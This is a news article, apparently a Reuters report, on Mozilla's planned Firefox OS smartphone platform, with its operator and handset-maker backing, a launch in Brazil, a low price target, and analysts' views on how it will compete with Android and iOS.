• Mozilla launches easy website creation tool Thimble

Smart, Telecom Italia , Telenor and Etisalat are backing the Firefox platform. The non-profit organisation which evolved from Netscape after the internet browser wars 14 years ago, said phone makers ZTE and TCL Communication Technology will roll out the first Firefox OS phones using Qualcomm's Snapdragon processors in early 2013.
Mozilla, which fosters the collective development of open-source Web applications, currently generates most of its income from a contract which makes Google the default search provider for Firefox users.
Broad support from telecom companies and handset makers is crucial for any new smartphone platform to take off in a market increasingly dominated by Google's Android software, which has a market share of around 60 percent, while Apple's iPhones run on its proprietary iOS software.
In addition to market leaders Android and Apple, a number of smaller players like RIM, Microsoft and Samsung's Bada are also competing for a share of the mobile software market.
But Gary Kovacs, chief executive of Mozilla Corp, said he was confident there was room on the market for a Firefox platform, being an open Web-based alternative to the for-profit offerings from Google and Apple.
"I think this will be very widely adopted," Kovacs told Reuters in an interview.
After an initial launch with Telefonica's Vivo brand in Brazil early next year Firfox-powered phones will be launched on other emerging markets and then elsewhere, Kovacs said.
Phone companies have tried before to create platforms to combat the growing dominance of Android, but have so far failed as they had to create from scratch the ecosystem around platform: developer tools, applications, developer community.
"Success for any platform is dependent on the virtuous circle of scale and momentum. Manufacturer and operator commitment is essential to driving developer support and consumer interest which in turn strengthens demand for the platform," said Geoff Blaber, analyst at CCS Insight.
The new Firefox platform aims to overcome the problem by tapping into a community of 3 to 5 million web developers and most of the apps are already created on HTML5, the preferred standard for creating mobile browser content.
The sector has seen the demise of many rival platforms in the last few years, including operator-led initiatives like LiMo, and also Palm's WebOS and Nokia's Symbian operating systems which failed to win enough support from developers and device manufacturers.
The free Firefox platform could put pressure on Microsoft and Google, which themselves are trying to attract handset manufacturers. But Microsoft collects licensing fees of up to $20 per Windows phone and also collects royalties from makers of Android devices.
Booming market
TCL, which uses Alcatel brand for its phones, and ZTE are both hoping the new Firefox platform will help make up for their late entrance to the booming smartphone market.
The growth in smartphone sales is slowing this year from the bumper years of 2010 and 2011 but is still expected to be running at some 40 percent from a year ago.
Mozilla, which has been working with Telefonica on creating the software, demonstrated the platform and its key features in February at the Mobile World Congress trade show in Barcelona.
The new platform combines HTML5 with some of the core elements of Linux technology, cutting the need for a separate operating system and enabling fast roll-out of new phone models.
In competition with Mozilla's Firefox, Google has introduced its Chrome browser and browser-based operating system for personal computers.
"The line between browser and operating system is getting blurred," Kovacs said.
Cutting some layers of a traditional operating system allows the new platform to be used on smartphones with lower processing power and with lower cost materials.
Telefonica has said the phone price will be significantly cheaper than the low-end Android models, meaning Firefox phones can be priced at levels around $50 excluding operator subsidies.
This compares with price of around $200 for a typical smartphone.
Ovum analyst Nick Dillon said pricing of the devices will be the key for their success, and questioned whether cutting out some layers of operating system would bring significant savings.
"It is hard to see how you could make them much cheaper than comparable Android handsets," Dillon said.

Read More